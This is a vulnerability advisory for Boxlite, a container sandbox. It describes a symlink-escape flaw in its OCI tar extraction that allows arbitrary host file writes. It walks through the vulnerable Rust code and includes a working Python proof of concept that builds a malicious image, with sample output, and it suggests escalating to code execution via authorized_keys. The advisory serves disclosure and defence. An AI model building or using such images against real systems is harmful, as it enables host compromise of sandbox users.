PT-2026-42620 · Go · @Boxlite-Ai/Boxlite+3

Published

2026-05-21

·

Updated

2026-05-21

CVSS v3.1

9.6

Critical

VectorAV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary

Boxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and run OCI containers within them. Boxlite allows users to specify the OCI image used by containers in the sandbox. However, when processing tar entries in OCI images, Boxlite does not account for the possibility that entries may be symlinks pointing to absolute paths. An attacker can craft a malicious OCI image and distribute it on image hosting platforms such as DockerHub, tricking users into using it. Once a user loads the malicious image, the attacker can write arbitrary content to any path on the host, which can further lead to remote code execution on the host.

Details

  1. Entry Point — OCI Layer Tarball Extraction
File: boxlite/src/images/archive/tar.rs Function: extract layer tarball streaming() (line 24) Code:
pub fn extract layer tarball streaming(tarball path: &Path, dest: &Path) -> BoxliteResult<u64> {
  // ...
  apply oci layer(reader, dest)
}
Issue: The function passes the tar reader into apply oci layer. The tarball comes from a registry blob that has passed SHA256 integrity verification against the manifest digest — but the manifest itself is controlled by the registry, so a malicious registry can serve a valid manifest pointing to a crafted layer blob with a matching digest.
  1. Main Extraction Loop — Symlink Created Without Target Validation
File: boxlite/src/images/archive/tar.rs Function: apply oci layer() (line 196) Code:
EntryType::Symlink => {
  let target = link name.ok or else(|| { /* ... */ })?;
  create symlink(&full path, &target)?; // line 327 — target is NOT validated
}
Issue: The symlink's full path (the link itself) is sanitized by normalize entry path to stay within dest. However, the target (what the symlink points to) is never validated. An entry with path usr and link target /etc creates {dest}/usr -> /etc, a symlink pointing outside the extraction root. There is no check that target stays within dest, is relative, or doesn't escape the container root.
  1. Symlink Target Written Verbatim
File: boxlite/src/images/archive/tar.rs Function: create symlink() (line 747) Code:
fn create symlink(path: &Path, target: &Path) -> BoxliteResult<()> {
  std::os::unix::fs::symlink(target, path).map err(|e| { /* ... */ })
}
Issue: std::os::unix::fs::symlink is an lstat-level operation — it creates the symlink with the provided target string verbatim, no matter what it contains. If target is /etc, the link records /etc as the target. No containment check.
  1. ensure parent dirs Deliberately Follows and Preserves Escape Symlinks
File: boxlite/src/images/archive/tar.rs Function: ensure parent dirs() (line 457) Code:
Ok(m) if m.file type().is symlink() => {
  // Check if symlink points to a directory
  match fs::metadata(current check) { // follows symlink
    Ok(target m) if target m.is dir() => {
      trace!("Preserving symlink that points to directory: ...");
      break; // line 516 — stop, keep the symlink, treat as valid parent
    }
Issue: When the next tar entry has path usr/passwd and the code calls ensure parent dirs("{dest}/usr/passwd", dest), it walks up to {dest}/usr, finds it is a symlink pointing to a directory (e.g., /etc), and explicitly breaks the loop to preserve it — treating the out-of-root symlink as a valid, navigable parent. The create dir all call is then skipped for this path. The caller proceeds to open and write {dest}/usr/passwd, which the kernel resolves through the symlink to /etc/passwd.
  1. File Written Through Escaped Symlink
File: boxlite/src/images/archive/tar.rs Function: create regular file() (line 715) Code:
fn create regular file<R: Read>(entry: &mut Entry<R>, path: &Path, mode: u32) -> BoxliteResult<()> {
  let mut file = OpenOptions::new()
    .write(true).create(true).truncate(true).mode(mode)
    .open(path)  // path = "{dest}/usr/passwd" which kernel follows to "/etc/passwd"
    .map err(|e| { /* ... */ })?;
  io::copy(entry, &mut file)?;  // attacker-controlled content written to /etc/passwd
  Ok(())
}
Issue: OpenOptions::open() follows symlinks in path components by default. The kernel resolves {dest}/usr/passwd → {dest}/usr is a symlink to /etc → file opened at /etc/passwd. Attacker-controlled tar entry content is copied there verbatim.
As seen from the code, when a tar entry is a symlink, Boxlite's security checks are insufficient. An attacker can exploit this vulnerability to achieve arbitrary file write once a user loads a maliciously crafted image. The write permission is consistent with the process privilege running the Boxlite service, which is commonly root on Linux. The attacker can further leverage this capability to achieve remote code execution, such as writing the attacker's public key into the host's authorized keys.

PoC

  1. Install Boxlite following the official tutorial.
  2. Run the following Python script:
#!/usr/bin/env python3
"""
PoC: BoxLite OCI Layer Extraction Symlink Escape
=================================================

Vulnerability: boxlite/src/images/archive/tar.rs — extract layer tarball streaming()
Type:     CWE-61 / CAPEC-132 — Symlink Following during tar extraction

Attack:
 OCI images consist of layer tarballs extracted on the host to build the ext4
 base image. If the extractor follows a symlink without verifying the resolved
 path stays within the extraction root, an attacker can craft a tar like:

  [1] SYMLINK escape -> /tmp     (points to host /tmp)
  [2] FILE   escape/poc/pwned.txt    (resolves via [1] to /tmp/poc/pwned.txt)

 KVM hardware isolation is irrelevant here — tar extraction happens in the host
 process before the VM ever starts.

Target write: /tmp/boxlite host escape/pwned.txt
Expected isolation boundary: boxlite internal staging dir under /tmp
"""

import asyncio
import hashlib
import io
import json
import os
import shutil
import tarfile
import time

TARGET FILE = "/tmp/boxlite host escape/pwned.txt"
OCI LAYOUT DIR = "/tmp/malicious oci layout"


# ── Helpers ───────────────────────────────────────────────────────────────────


def sha256hex(data: bytes) -> str:
  return hashlib.sha256(data).hexdigest()


def add entry(
  tf: tarfile.TarFile,
  name: str,
  type : bytes,
  linkname: str = "",
  data: bytes = b"",
  mode: int = 0o644,
):
  info = tarfile.TarInfo(name=name)
  info.type = type 
  info.linkname = linkname
  info.size = len(data)
  info.mode = mode
  info.mtime = int(time.time())
  tf.addfile(info, io.BytesIO(data) if data else None)


# ── Step 1: Build malicious OCI layer tar ─────────────────────────────────────


def build layer tar() -> bytes:
  """
  Tar entries (order matters):
   [1] SYMLINK escape      -> /tmp
   [2] DIR   escape/boxlite host escape/   (resolves to /tmp/boxlite host escape/)
   [3] FILE   escape/boxlite host escape/pwned.txt (resolves to /tmp/…/pwned.txt)
   [4] FILE   etc/os-release  (legitimate-looking decoy entries)
  """
  payload = (
    "===== BOXLITE SYMLINK ESCAPE: HOST FILESYSTEM WRITE =====
"
    f"Written at: {time.strftime('%Y-%m-%d %H:%M:%S')}
"
    f"Target: {TARGET FILE}
"
    "========================================================
"
  ).encode()

  buf = io.BytesIO()
  with tarfile.open(fileobj=buf, mode="w") as tf:
    add entry(tf, "escape", tarfile.SYMTYPE, linkname="/tmp", mode=0o777)
    add entry(tf, "escape/boxlite host escape", tarfile.DIRTYPE, mode=0o755)
    add entry(
      tf, "escape/boxlite host escape/pwned.txt", tarfile.REGTYPE, data=payload
    )
    add entry(
      tf,
      "etc/os-release",
      tarfile.REGTYPE,
      data=b"ID=alpine
VERSION ID=3.19.0
",
    )
  return buf.getvalue()


# ── Step 2: Build OCI image layout ───────────────────────────────────────────


def build oci layout(out dir: str) -> None:
  blobs = os.path.join(out dir, "blobs", "sha256")
  os.makedirs(blobs, exist ok=True)

  def write blob(data: bytes) -> tuple[str, int]:
    dgst = sha256hex(data)
    with open(os.path.join(blobs, dgst), "wb") as f:
      f.write(data)
    return dgst, len(data)

  layer bytes = build layer tar()
  layer dgst, layer sz = write blob(layer bytes)

  config bytes = json.dumps(
    {
      "architecture": "amd64",
      "os": "linux",
      "config": {"Cmd": ["/bin/sh"]},
      "rootfs": {"type": "layers", "diff ids": [f"sha256:{layer dgst}"]},
    }
  ).encode()
  cfg dgst, cfg sz = write blob(config bytes)

  manifest bytes = json.dumps(
    {
      "schemaVersion": 2,
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "config": {
        "mediaType": "application/vnd.oci.image.config.v1+json",
        "digest": f"sha256:{cfg dgst}",
        "size": cfg sz,
      },
      "layers": [
        {
          "mediaType": "application/vnd.oci.image.layer.v1.tar",
          "digest": f"sha256:{layer dgst}",
          "size": layer sz,
        }
      ],
    }
  ).encode()
  mf dgst, mf sz = write blob(manifest bytes)

  with open(os.path.join(out dir, "index.json"), "w") as f:
    json.dump(
      {
        "schemaVersion": 2,
        "manifests": [
          {
            "mediaType": "application/vnd.oci.image.manifest.v1+json",
            "digest": f"sha256:{mf dgst}",
            "size": mf sz,
            "annotations": {"org.opencontainers.image.ref.name": "latest"},
          }
        ],
      },
      f,
    )

  with open(os.path.join(out dir, "oci-layout"), "w") as f:
    json.dump({"imageLayoutVersion": "1.0.0"}, f)

  print(f" layer  sha256:{layer dgst[:16]}… ({layer sz} B)")
  print(f" config  sha256:{cfg dgst[:16]}… ({cfg sz} B)")
  print(f" manifest sha256:{mf dgst[:16]}… ({mf sz} B)")


# ── Main ──────────────────────────────────────────────────────────────────────


async def main():
  print("=" * 60)
  print(" PoC: BoxLite OCI Layer Extraction Symlink Escape")
  print("=" * 60)

  # Clean up previous run artifacts
  for path in [TARGET FILE, "/tmp/boxlite host escape", OCI LAYOUT DIR]:
    if os.path.isfile(path):
      os.remove(path)
    elif os.path.isdir(path):
      shutil.rmtree(path)

  # [1] Build malicious OCI image
  print(f"
[1] Building malicious OCI image → {OCI LAYOUT DIR}")
  build oci layout(OCI LAYOUT DIR)

  # [2] Show crafted tar entries
  print("
[2] Malicious layer tar entries:")
  with open(os.path.join(OCI LAYOUT DIR, "index.json")) as f:
    idx = json.load(f)
  mf dgst = idx["manifests"][0]["digest"].split(":")[1]
  with open(os.path.join(OCI LAYOUT DIR, "blobs", "sha256", mf dgst)) as f:
    mf = json.load(f)
  lyr dgst = mf["layers"][0]["digest"].split(":")[1]
  lyr data = open(
    os.path.join(OCI LAYOUT DIR, "blobs", "sha256", lyr dgst), "rb"
  ).read()
  with tarfile.open(fileobj=io.BytesIO(lyr data)) as tf:
    for m in tf.getmembers():
      tstr = {
        tarfile.REGTYPE: "FILE  ",
        tarfile.SYMTYPE: "SYMLINK",
        tarfile.DIRTYPE: "DIR  ",
      }.get(m.type, f"?{m.type}  ")
      suffix = f" -> {m.linkname}" if m.issym() else ""
      print(f"  {tstr} {m.name}{suffix}")

  # [3] Confirm target absent before exploit
  print(f"
[3] Pre-exploit — target exists? {os.path.exists(TARGET FILE)}")

  # [4] Trigger extraction (vulnerability fires before VM starts)
  print(f"
[4] Loading malicious image via boxlite.SimpleBox(rootfs path=…)")
  import boxlite

  try:
    async with boxlite.SimpleBox(rootfs path=OCI LAYOUT DIR) as box:
      r = await box.exec("sh", "-c", "echo ok")
      print(f"  VM stdout: {r.stdout.strip()}")
  except Exception as e:
    # Box may fail to start (incomplete rootfs) — that's fine;
    # the symlink escape occurs during layer extraction, before VM launch.
    print(f"  Box error (expected): {type(e). name }: {e}")

  # [5] Verify host write
  print(f"
[5] Post-exploit — target exists? {os.path.exists(TARGET FILE)}")
  if os.path.exists(TARGET FILE):
    print(f"
VULNERABLE — host file written successfully!")
    print(f" Path: {TARGET FILE}")
    print(open(TARGET FILE).read())
  else:
    print("
NOT VULNERABLE (or already patched)")


if  name  == " main ":
  asyncio.run(main())
This script constructs a malicious OCI image and passes it to the SimpleBox function via rootfs path to create a container. In the malicious image, a symlink is first created pointing escape to /tmp, and then files are written under escape, thereby achieving file writes to the root filesystem.
Sample output:
$ python3 poc symlink escape.py
============================================================
 PoC: BoxLite OCI Layer Extraction Symlink Escape
============================================================

[1] Building malicious OCI image → /tmp/malicious oci layout
 layer  sha256:a1e8b4de11d64fce… (10240 B)
 config  sha256:8e245c2c65565998… (191 B)
 manifest sha256:2dad6671e78d8093… (415 B)

[2] Malicious layer tar entries:
  SYMLINK escape -> /tmp
  DIR   escape/boxlite host escape
  FILE   escape/boxlite host escape/pwned.txt
  FILE   etc/os-release

[3] Pre-exploit — target exists? False

[4] Loading malicious image via boxlite.SimpleBox(rootfs path=…)
  Box error (expected): RuntimeError: internal error: Container init failed: Failed to start container: internal error: Failed to create container b673b4e3400c71bd72464c98610c952e2164f70f946873b82adf3e6212851d54 at bundle /run/boxlite/containers/b673b4e3400c71bd72464c98610c952e2164f70f946873b82adf3e6212851d54: failed to create container: exec process failed with error error in executing process : PATH environment variable is not set

[5] Post-exploit — target exists? True

 VULNERABLE — host file written successfully!
 Path: /tmp/boxlite host escape/pwned.txt
===== BOXLITE SYMLINK ESCAPE: HOST FILESYSTEM WRITE =====
Written at: ...
Target: /tmp/boxlite host escape/pwned.txt
========================================================

Impact

An attacker can craft a malicious OCI image and distribute it on image hosting platforms such as DockerHub, tricking users into using it. Once a user loads the malicious image, the attacker can write arbitrary content to any path on the host, which can further lead to remote code execution on the host.

Score

Severity: Critical, Score: 9.7, rationale as follows:
  • AV:N — The attacker can distribute the malicious image over the network, tricking users into pulling and using it
  • AC:L — This is a logic vulnerability that requires no complex exploitation
  • PR:N — The attacker does not need any additional privileges to exploit this vulnerability
  • UI:R — The attacker needs to trick the victim into using the maliciously crafted image
  • S:C — The attacker can leverage the vulnerability to achieve arbitrary command execution on the host, extending the impact to the host operating system and crossing the security boundary
  • C:H/I:H/A:H — The attacker can leverage the vulnerability to gain RCE capability on the host, posing a significant threat to confidentiality, integrity, and availability

Credit

This vulnerability was discovered by:
  • XlabAI Team of Tencent Xuanwu Lab
  • Atuin Automated Vulnerability Discovery Engine
If there are any questions regarding the vulnerability details, please feel free to reach out to BoxLite for further discussion by emailing xlabai@tencent.com.

Note

Note that Boxlite follows the industry-standard 90+30 disclosure policy (Reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). This means that BoxLite reserves the right to disclose the details of the vulnerability 30 days after the fix has been implemented.

Fix

Path traversal

Weakness Enumeration

CWE-22

Related Identifiers

GHSA-F396-4RP4-7V2J

Affected Products

@Boxlite-Ai/Boxlite
Blox Lite
Boxlite-Cli
Github.Com/Boxlite-Ai/Boxlite/Sdks/Go